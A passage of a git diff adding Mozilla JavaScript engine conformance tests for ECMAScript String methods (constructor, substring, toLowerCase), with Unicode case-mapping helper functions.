+
+new TestCase( SECTION, "String.prototype.constructor == String", true, String.prototype.constructor == String );
+
+new TestCase( SECTION, "var STRING = new String.prototype.constructor('hi'); STRING.getClass = Object.prototype.toString; STRING.getClass()",
+ "[object String]",
+ eval("var STRING = new String.prototype.constructor('hi'); STRING.getClass = Object.prototype.toString; STRING.getClass()") );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.10-1.js b/js/src/tests/ecma/String/15.5.4.10-1.js
new file mode 100644
index 000000000..90ad5f026
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.10-1.js
@@ -0,0 +1,181 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.10-1.js
+ ECMA Section: 15.5.4.10 String.prototype.substring( start, end )
+ Description:
+
+ 15.5.4.10 String.prototype.substring(start, end)
+
+ Returns a substring of the result of converting this object to a string,
+ starting from character position start and running to character position
+ end of the string. The result is a string value, not a String object.
+
+ If either argument is NaN or negative, it is replaced with zero; if either
+ argument is larger than the length of the string, it is replaced with the
+ length of the string.
+
+ If start is larger than end, they are swapped.
+
+ When the substring method is called with two arguments start and end, the
+ following steps are taken:
+
+ 1. Call ToString, giving it the this value as its argument.
+ 2. Call ToInteger(start).
+ 3. Call ToInteger (end).
+ 4. Compute the number of characters in Result(1).
+ 5. Compute min(max(Result(2), 0), Result(4)).
+ 6. Compute min(max(Result(3), 0), Result(4)).
+ 7. Compute min(Result(5), Result(6)).
+ 8. Compute max(Result(5), Result(6)).
+ 9. Return a string whose length is the difference between Result(8) and
+ Result(7), containing characters from Result(1), namely the characters
+ with indices Result(7) through Result(8)1, in ascending order.
+
+ Note that the substring function is intentionally generic; it does not require
+ that its this value be a String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.4.10-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.substring( start, end )";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "String.prototype.substring.length", 2, String.prototype.substring.length );
+
+// test cases for when substring is called with no arguments.
+
+// this is a string object
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); typeof s.substring()",
+ "string",
+ eval("var s = new String('this is a string object'); typeof s.substring()") );
+
+new TestCase( SECTION,
+ "var s = new String(''); s.substring(1,0)",
+ "",
+ eval("var s = new String(''); s.substring(1,0)") );
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(true, false)",
+ "t",
+ eval("var s = new String('this is a string object'); s.substring(false, true)") );
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(NaN, Infinity)",
+ "this is a string object",
+ eval("var s = new String('this is a string object'); s.substring(NaN, Infinity)") );
+
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(Infinity, NaN)",
+ "this is a string object",
+ eval("var s = new String('this is a string object'); s.substring(Infinity, NaN)") );
+
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(Infinity, Infinity)",
+ "",
+ eval("var s = new String('this is a string object'); s.substring(Infinity, Infinity)") );
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(-0.01, 0)",
+ "",
+ eval("var s = new String('this is a string object'); s.substring(-0.01,0)") );
+
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(s.length, s.length)",
+ "",
+ eval("var s = new String('this is a string object'); s.substring(s.length, s.length)") );
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(s.length+1, 0)",
+ "this is a string object",
+ eval("var s = new String('this is a string object'); s.substring(s.length+1, 0)") );
+
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(-Infinity, -Infinity)",
+ "",
+ eval("var s = new String('this is a string object'); s.substring(-Infinity, -Infinity)") );
+
+// this is not a String object, start is not an integer
+
+
+new TestCase( SECTION,
+ "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(Infinity,-Infinity)",
+ "1,2,3,4,5",
+ eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(Infinity,-Infinity)") );
+
+new TestCase( SECTION,
+ "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(true, false)",
+ "1",
+ eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(true, false)") );
+
+new TestCase( SECTION,
+ "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring('4', '5')",
+ "3",
+ eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring('4', '5')") );
+
+
+// this is an object object
+new TestCase( SECTION,
+ "var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8,0)",
+ "[object ",
+ eval("var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8,0)") );
+
+new TestCase( SECTION,
+ "var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8,obj.toString().length)",
+ "Object]",
+ eval("var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8, obj.toString().length)") );
+
+// this is a function object
+new TestCase( SECTION,
+ "var obj = new Function(); obj.substring = String.prototype.substring; obj.toString = Object.prototype.toString; obj.substring(8, Infinity)",
+ "Function]",
+ eval("var obj = new Function(); obj.substring = String.prototype.substring; obj.toString = Object.prototype.toString; obj.substring(8,Infinity)") );
+// this is a number object
+new TestCase( SECTION,
+ "var obj = new Number(NaN); obj.substring = String.prototype.substring; obj.substring(Infinity, NaN)",
+ "NaN",
+ eval("var obj = new Number(NaN); obj.substring = String.prototype.substring; obj.substring(Infinity, NaN)") );
+
+// this is the Math object
+new TestCase( SECTION,
+ "var obj = Math; obj.substring = String.prototype.substring; obj.substring(Math.PI, -10)",
+ "[ob",
+ eval("var obj = Math; obj.substring = String.prototype.substring; obj.substring(Math.PI, -10)") );
+
+// this is a Boolean object
+
+new TestCase( SECTION,
+ "var obj = new Boolean(); obj.substring = String.prototype.substring; obj.substring(new Array(), new Boolean(1))",
+ "f",
+ eval("var obj = new Boolean(); obj.substring = String.prototype.substring; obj.substring(new Array(), new Boolean(1))") );
+
+// this is a user defined object
+
+new TestCase( SECTION,
+ "var obj = new MyObject( void 0 ); obj.substring(0, 100)",
+ "undefined",
+ eval( "var obj = new MyObject( void 0 ); obj.substring(0,100)") );
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.substring = String.prototype.substring;
+ this.toString = new Function ( "return this.value+''" );
+}
diff --git a/js/src/tests/ecma/String/15.5.4.11-1.js b/js/src/tests/ecma/String/15.5.4.11-1.js
new file mode 100644
index 000000000..08b1fa68d
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.11-1.js
@@ -0,0 +1,482 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.11-1.js
+ ECMA Section: 15.5.4.11 String.prototype.toLowerCase()
+ Description:
+
+ Returns a string equal in length to the length of the result of converting
+ this object to a string. The result is a string value, not a String object.
+
+ Every character of the result is equal to the corresponding character of the
+ string, unless that character has a Unicode 2.0 uppercase equivalent, in which
+ case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case
+ mapping shall be used, which does not depend on implementation or locale.)
+
+ Note that the toLowerCase function is intentionally generic; it does not require
+ that its this value be a String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.4.11-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.toLowerCase()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "String.prototype.toLowerCase.length", 0, String.prototype.toLowerCase.length );
+
+// Basic Latin, Latin-1 Supplement, Latin Extended A
+for ( var i = 0; i <= 0x017f; i++ ) {
+ var U = new Unicode(i);
+/*
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()",
+ String.fromCharCode(U.lower),
+ eval("var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()") );
+*/
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase().charCodeAt(0)",
+ U.lower,
+ eval("var s = new String( String.fromCharCode(i) ); s.toLowerCase().charCodeAt(0)") );
+
+}
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.substring = String.prototype.substring;
+ this.toString = new Function ( "return this.value+''" );
+}
+function Unicode( c ) {
+ u = GetUnicodeValues( c );
+ this.upper = u[0];
+ this.lower = u[1]
+ return this;
+}
+function GetUnicodeValues( c ) {
+ u = new Array();
+
+ u[0] = c;
+ u[1] = c;
+
+ // upper case Basic Latin
+
+ if ( c >= 0x0041 && c <= 0x005A) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Basic Latin
+ if ( c >= 0x0061 && c <= 0x007a ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // upper case Latin-1 Supplement
+ if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Latin-1 Supplement
+ if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+ if ( c == 0x00FF ) {
+ u[0] = 0x0178;
+ u[1] = c;
+ return u;
+ }
+ // Latin Extended A
+ if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) {
+ // special case for capital I
+ if ( c == 0x0130 ) {
+ u[0] = c;
+ u[1] = 0x0069;
+ return u;
+ }
+ if ( c == 0x0131 ) {
+ u[0] = 0x0049;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c % 2 == 0 ) {
+ // if it's even, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's odd, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x0178 ) {
+ u[0] = c;
+ u[1] = 0x00FF;
+ return u;
+ }
+
+ if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) {
+ if ( c % 2 == 1 ) {
+ // if it's odd, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's even, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x017F ) {
+ u[0] = 0x0053;
+ u[1] = c;
+ }
+
+ // Latin Extended B
+ // need to improve this set
+
+ if ( c >= 0x0200 && c <= 0x0217 ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Latin Extended Additional
+ // Range: U+1E00 to U+1EFF
+ // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html
+
+ // Spacing Modifier Leters
+ // Range: U+02B0 to U+02FF
+
+ // Combining Diacritical Marks
+ // Range: U+0300 to U+036F
+
+ // skip Greek for now
+ // Greek
+ // Range: U+0370 to U+03FF
+
+ // Cyrillic
+ // Range: U+0400 to U+04FF
+
+ if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) {
+ u[0] = c;
+ u[1] = c + 80;
+ return u;
+ }
+
+
+ if ( c >= 0x0410 && c <= 0x042F ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0x0430 && c<= 0x044F ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+
+ }
+ if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) {
+ u[0] = c -80;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c >= 0x0460 && c <= 0x047F ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c +1;
+ } else {
+ u[0] = c - 1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Armenian
+ // Range: U+0530 to U+058F
+ if ( c >= 0x0531 && c <= 0x0556 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x0561 && c < 0x0587 ) {
+ u[0] = c - 48;
+ u[1] = c;
+ return u;
+ }
+
+ // Hebrew
+ // Range: U+0590 to U+05FF
+
+
+ // Arabic
+ // Range: U+0600 to U+06FF
+
+ // Devanagari
+ // Range: U+0900 to U+097F
+
+
+ // Bengali
+ // Range: U+0980 to U+09FF
+
+
+ // Gurmukhi
+ // Range: U+0A00 to U+0A7F
+
+
+ // Gujarati
+ // Range: U+0A80 to U+0AFF
+
+
+ // Oriya
+ // Range: U+0B00 to U+0B7F
+ // no capital / lower case
+
+
+ // Tamil
+ // Range: U+0B80 to U+0BFF
+ // no capital / lower case
+
+
+ // Telugu
+ // Range: U+0C00 to U+0C7F
+ // no capital / lower case
+
+
+ // Kannada
+ // Range: U+0C80 to U+0CFF
+ // no capital / lower case
+
+
+ // Malayalam
+ // Range: U+0D00 to U+0D7F
+
+ // Thai
+ // Range: U+0E00 to U+0E7F
+
+
+ // Lao
+ // Range: U+0E80 to U+0EFF
+
+
+ // Tibetan
+ // Range: U+0F00 to U+0FBF
+
+ // Georgian
+ // Range: U+10A0 to U+10F0
+ if ( c >= 0x10A0 && c <= 0x10C5 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x10D0 && c <= 0x10F5 ) {
+ u[0] = c;
+ u[1] = c;
+ return u;
+ }
+
+ // Hangul Jamo
+ // Range: U+1100 to U+11FF
+
+ // Greek Extended
+ // Range: U+1F00 to U+1FFF
+ // skip for now
+
+
+ // General Punctuation
+ // Range: U+2000 to U+206F
+
+ // Superscripts and Subscripts
+ // Range: U+2070 to U+209F
+
+ // Currency Symbols
+ // Range: U+20A0 to U+20CF
+
+
+ // Combining Diacritical Marks for Symbols
+ // Range: U+20D0 to U+20FF
+ // skip for now
+
+
+ // Number Forms
+ // Range: U+2150 to U+218F
+ // skip for now
+
+
+ // Arrows
+ // Range: U+2190 to U+21FF
+
+ // Mathematical Operators
+ // Range: U+2200 to U+22FF
+
+ // Miscellaneous Technical
+ // Range: U+2300 to U+23FF
+
+ // Control Pictures
+ // Range: U+2400 to U+243F
+
+ // Optical Character Recognition
+ // Range: U+2440 to U+245F
+
+ // Enclosed Alphanumerics
+ // Range: U+2460 to U+24FF
+
+ // Box Drawing
+ // Range: U+2500 to U+257F
+
+ // Block Elements
+ // Range: U+2580 to U+259F
+
+ // Geometric Shapes
+ // Range: U+25A0 to U+25FF
+
+ // Miscellaneous Symbols
+ // Range: U+2600 to U+26FF
+
+ // Dingbats
+ // Range: U+2700 to U+27BF
+
+ // CJK Symbols and Punctuation
+ // Range: U+3000 to U+303F
+
+ // Hiragana
+ // Range: U+3040 to U+309F
+
+ // Katakana
+ // Range: U+30A0 to U+30FF
+
+ // Bopomofo
+ // Range: U+3100 to U+312F
+
+ // Hangul Compatibility Jamo
+ // Range: U+3130 to U+318F
+
+ // Kanbun
+ // Range: U+3190 to U+319F
+
+
+ // Enclosed CJK Letters and Months
+ // Range: U+3200 to U+32FF
+
+ // CJK Compatibility
+ // Range: U+3300 to U+33FF
+
+ // Hangul Syllables
+ // Range: U+AC00 to U+D7A3
+
+ // High Surrogates
+ // Range: U+D800 to U+DB7F
+
+ // Private Use High Surrogates
+ // Range: U+DB80 to U+DBFF
+
+ // Low Surrogates
+ // Range: U+DC00 to U+DFFF
+
+ // Private Use Area
+ // Range: U+E000 to U+F8FF
+
+ // CJK Compatibility Ideographs
+ // Range: U+F900 to U+FAFF
+
+ // Alphabetic Presentation Forms
+ // Range: U+FB00 to U+FB4F
+
+ // Arabic Presentation Forms-A
+ // Range: U+FB50 to U+FDFF
+
+ // Combining Half Marks
+ // Range: U+FE20 to U+FE2F
+
+ // CJK Compatibility Forms
+ // Range: U+FE30 to U+FE4F
+
+ // Small Form Variants
+ // Range: U+FE50 to U+FE6F
+
+ // Arabic Presentation Forms-B
+ // Range: U+FE70 to U+FEFF
+
+ // Halfwidth and Fullwidth Forms
+ // Range: U+FF00 to U+FFEF
+
+ if ( c >= 0xFF21 && c <= 0xFF3A ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0xFF41 && c <= 0xFF5A ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // Specials
+ // Range: U+FFF0 to U+FFFF
+
+ return u;
+}
+
+function DecimalToHexString( n ) {
+ n = Number( n );
+ var h = "0x";
+
+ for ( var i = 3; i >= 0; i-- ) {
+ if ( n >= Math.pow(16, i) ){
+ var t = Math.floor( n / Math.pow(16, i));
+ n -= t * Math.pow(16, i);
+ if ( t >= 10 ) {
+ if ( t == 10 ) {
+ h += "A";
+ }
+ if ( t == 11 ) {
+ h += "B";
+ }
+ if ( t == 12 ) {
+ h += "C";
+ }
+ if ( t == 13 ) {
+ h += "D";
+ }
+ if ( t == 14 ) {
+ h += "E";
+ }
+ if ( t == 15 ) {
+ h += "F";
+ }
+ } else {
+ h += String( t );
+ }
+ } else {
+ h += "0";
+ }
+ }
+
+ return h;
+}
diff --git a/js/src/tests/ecma/String/15.5.4.11-3.js b/js/src/tests/ecma/String/15.5.4.11-3.js
new file mode 100644
index 000000000..d7fe9e02f
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.11-3.js
@@ -0,0 +1,480 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.11-2.js
+ ECMA Section: 15.5.4.11 String.prototype.toLowerCase()
+ Description:
+
+ Returns a string equal in length to the length of the result of converting
+ this object to a string. The result is a string value, not a String object.
+
+ Every character of the result is equal to the corresponding character of the
+ string, unless that character has a Unicode 2.0 uppercase equivalent, in which
+ case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case
+ mapping shall be used, which does not depend on implementation or locale.)
+
+ Note that the toLowerCase function is intentionally generic; it does not require
+ that its this value be a String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.4.11-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.toLowerCase()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// Halfwidth and Fullwidth Forms
+// Range: U+FF00 to U+FFEF
+for ( var i = 0xFF00; i <= 0xFFEF; i++ ) {
+ var U = new Unicode(i);
+/*
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()",
+ String.fromCharCode(U.lower),
+ eval("var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()") );
+*/
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase().charCodeAt(0)",
+ U.lower,
+ eval("var s = new String( String.fromCharCode(i) ); s.toLowerCase().charCodeAt(0)") );
+}
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.substring = String.prototype.substring;
+ this.toString = new Function ( "return this.value+''" );
+}
+function Unicode( c ) {
+ u = GetUnicodeValues( c );
+ this.upper = u[0];
+ this.lower = u[1]
+ return this;
+}
+function GetUnicodeValues( c ) {
+ u = new Array();
+
+ u[0] = c;
+ u[1] = c;
+
+ // upper case Basic Latin
+
+ if ( c >= 0x0041 && c <= 0x005A) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Basic Latin
+ if ( c >= 0x0061 && c <= 0x007a ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // upper case Latin-1 Supplement
+ if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Latin-1 Supplement
+ if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+ if ( c == 0x00FF ) {
+ u[0] = 0x0178;
+ u[1] = c;
+ return u;
+ }
+ // Latin Extended A
+ if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) {
+ // special case for capital I
+ if ( c == 0x0130 ) {
+ u[0] = c;
+ u[1] = 0x0069;
+ return u;
+ }
+ if ( c == 0x0131 ) {
+ u[0] = 0x0049;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c % 2 == 0 ) {
+ // if it's even, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's odd, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x0178 ) {
+ u[0] = c;
+ u[1] = 0x00FF;
+ return u;
+ }
+
+ if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) {
+ if ( c % 2 == 1 ) {
+ // if it's odd, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's even, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x017F ) {
+ u[0] = 0x0053;
+ u[1] = c;
+ }
+
+ // Latin Extended B
+ // need to improve this set
+
+ if ( c >= 0x0200 && c <= 0x0217 ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Latin Extended Additional
+ // Range: U+1E00 to U+1EFF
+ // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html
+
+ // Spacing Modifier Leters
+ // Range: U+02B0 to U+02FF
+
+ // Combining Diacritical Marks
+ // Range: U+0300 to U+036F
+
+ // skip Greek for now
+ // Greek
+ // Range: U+0370 to U+03FF
+
+ // Cyrillic
+ // Range: U+0400 to U+04FF
+
+ if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) {
+ u[0] = c;
+ u[1] = c + 80;
+ return u;
+ }
+
+
+ if ( c >= 0x0410 && c <= 0x042F ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0x0430 && c<= 0x044F ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+
+ }
+ if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) {
+ u[0] = c -80;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c >= 0x0460 && c <= 0x047F ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c +1;
+ } else {
+ u[0] = c - 1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Armenian
+ // Range: U+0530 to U+058F
+ if ( c >= 0x0531 && c <= 0x0556 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x0561 && c < 0x0587 ) {
+ u[0] = c - 48;
+ u[1] = c;
+ return u;
+ }
+
+ // Hebrew
+ // Range: U+0590 to U+05FF
+
+
+ // Arabic
+ // Range: U+0600 to U+06FF
+
+ // Devanagari
+ // Range: U+0900 to U+097F
+
+
+ // Bengali
+ // Range: U+0980 to U+09FF
+
+
+ // Gurmukhi
+ // Range: U+0A00 to U+0A7F
+
+
+ // Gujarati
+ // Range: U+0A80 to U+0AFF
+
+
+ // Oriya
+ // Range: U+0B00 to U+0B7F
+ // no capital / lower case
+
+
+ // Tamil
+ // Range: U+0B80 to U+0BFF
+ // no capital / lower case
+
+
+ // Telugu
+ // Range: U+0C00 to U+0C7F
+ // no capital / lower case
+
+
+ // Kannada
+ // Range: U+0C80 to U+0CFF
+ // no capital / lower case
+
+
+ // Malayalam
+ // Range: U+0D00 to U+0D7F
+
+ // Thai
+ // Range: U+0E00 to U+0E7F
+
+
+ // Lao
+ // Range: U+0E80 to U+0EFF
+
+
+ // Tibetan
+ // Range: U+0F00 to U+0FBF
+
+ // Georgian
+ // Range: U+10A0 to U+10F0
+ if ( c >= 0x10A0 && c <= 0x10C5 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x10D0 && c <= 0x10F5 ) {
+ u[0] = c;
+ u[1] = c;
+ return u;
+ }
+
+ // Hangul Jamo
+ // Range: U+1100 to U+11FF
+
+ // Greek Extended
+ // Range: U+1F00 to U+1FFF
+ // skip for now
+
+
+ // General Punctuation
+ // Range: U+2000 to U+206F
+
+ // Superscripts and Subscripts
+ // Range: U+2070 to U+209F
+
+ // Currency Symbols
+ // Range: U+20A0 to U+20CF
+
+
+ // Combining Diacritical Marks for Symbols
+ // Range: U+20D0 to U+20FF
+ // skip for now
+
+
+ // Number Forms
+ // Range: U+2150 to U+218F
+ // skip for now
+
+
+ // Arrows
+ // Range: U+2190 to U+21FF
+
+ // Mathematical Operators
+ // Range: U+2200 to U+22FF
+
+ // Miscellaneous Technical
+ // Range: U+2300 to U+23FF
+
+ // Control Pictures
+ // Range: U+2400 to U+243F
+
+ // Optical Character Recognition
+ // Range: U+2440 to U+245F
+
+ // Enclosed Alphanumerics
+ // Range: U+2460 to U+24FF
+
+ // Box Drawing
+ // Range: U+2500 to U+257F
+
+ // Block Elements
+ // Range: U+2580 to U+259F
+
+ // Geometric Shapes
+ // Range: U+25A0 to U+25FF
+
+ // Miscellaneous Symbols
+ // Range: U+2600 to U+26FF
+
+ // Dingbats
+ // Range: U+2700 to U+27BF
+
+ // CJK Symbols and Punctuation
+ // Range: U+3000 to U+303F
+
+ // Hiragana
+ // Range: U+3040 to U+309F
+
+ // Katakana
+ // Range: U+30A0 to U+30FF
+
+ // Bopomofo
+ // Range: U+3100 to U+312F
+
+ // Hangul Compatibility Jamo
+ // Range: U+3130 to U+318F
+
+ // Kanbun
+ // Range: U+3190 to U+319F
+
+
+ // Enclosed CJK Letters and Months
+ // Range: U+3200 to U+32FF
+
+ // CJK Compatibility
+ // Range: U+3300 to U+33FF
+
+ // Hangul Syllables
+ // Range: U+AC00 to U+D7A3
+
+ // High Surrogates
+ // Range: U+D800 to U+DB7F
+
+ // Private Use High Surrogates
+ // Range: U+DB80 to U+DBFF
+
+ // Low Surrogates
+ // Range: U+DC00 to U+DFFF
+
+ // Private Use Area
+ // Range: U+E000 to U+F8FF
+
+ // CJK Compatibility Ideographs
+ // Range: U+F900 to U+FAFF
+
+ // Alphabetic Presentation Forms
+ // Range: U+FB00 to U+FB4F
+
+ // Arabic Presentation Forms-A
+ // Range: U+FB50 to U+FDFF
+
+ // Combining Half Marks
+ // Range: U+FE20 to U+FE2F
+
+ // CJK Compatibility Forms
+ // Range: U+FE30 to U+FE4F
+
+ // Small Form Variants
+ // Range: U+FE50 to U+FE6F
+
+ // Arabic Presentation Forms-B
+ // Range: U+FE70 to U+FEFF
+
+ // Halfwidth and Fullwidth Forms
+ // Range: U+FF00 to U+FFEF
+
+ if ( c >= 0xFF21 && c <= 0xFF3A ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0xFF41 && c <= 0xFF5A ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // Specials
+ // Range: U+FFF0 to U+FFFF
+
+ return u;
+}
+
+function DecimalToHexString( n ) {
+ n = Number( n );
+ var h = "0x";
+
+ for ( var i = 3; i >= 0; i-- ) {
+ if ( n >= Math.pow(16, i) ){
+ var t = Math.floor( n / Math.pow(16, i));
+ n -= t * Math.pow(16, i);
+ if ( t >= 10 ) {
+ if ( t == 10 ) {
+ h += "A";
+ }
+ if ( t == 11 ) {
+ h += "B";
+ }
+ if ( t == 12 ) {
+ h += "C";
+ }
+ if ( t == 13 ) {
+ h += "D";
+ }
+ if ( t == 14 ) {
+ h += "E";
+ }
+ if ( t == 15 ) {
+ h += "F";
+ }
+ } else {
+ h += String( t );
+ }
+ } else {
+ h += "0";
+ }
+ }
+
+ return h;
+}
diff --git a/js/src/tests/ecma/String/15.5.4.11-4.js b/js/src/tests/ecma/String/15.5.4.11-4.js
new file mode 100644
index 000000000..f51116ca0
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.11-4.js
@@ -0,0 +1,473 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.11-2.js
+ ECMA Section: 15.5.4.11 String.prototype.toLowerCase()
+ Description:
+
+ Returns a string equal in length to the length of the result of converting
+ this object to a string. The result is a string value, not a String object.
+
+ Every character of the result is equal to the corresponding character of the
+ string, unless that character has a Unicode 2.0 uppercase equivalent, in which
+ case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case
+ mapping shall be used, which does not depend on implementation or locale.)
+
